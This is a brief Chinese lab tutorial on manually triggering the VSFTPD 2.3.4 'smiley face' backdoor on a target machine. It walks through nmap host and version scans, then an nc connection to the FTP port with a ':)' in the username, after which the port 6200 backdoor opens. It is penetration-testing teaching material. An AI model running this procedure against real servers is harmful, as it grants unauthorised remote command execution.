笑脸漏洞cc：）

VSFTPD v2.3.4 著名笑脸漏洞手工利用 Backdoor Command Execution：该版本的 VSFTPD 存在一个后门漏洞。虽然该问题迅速得到了开发人员的修复及删除，但是仍有不少人已经下载安装了该漏洞版本。这个后门的载荷以 ：）字符的形式拼接在用户名上。后门代码绑定的侦听端口是 6200
 

1、打开nmap,查看主机ip地址

2、用命令符号nmap -sn扫描对应子网，查看在线主机

 

3、

输入

nmap -sV ip

对目标服务器进行服务及版本扫描

4、

可以知道该目标靶机版本与漏洞版本一致

扫描其6200端口是否开放：

nmap -p 6200 ip

5、

可以知道6200端口是关闭的

另外开个窗口用nc连接靶机：

nc ip 21

6、

然后就可以看见6200端口开了：

nmap -p 6200 ip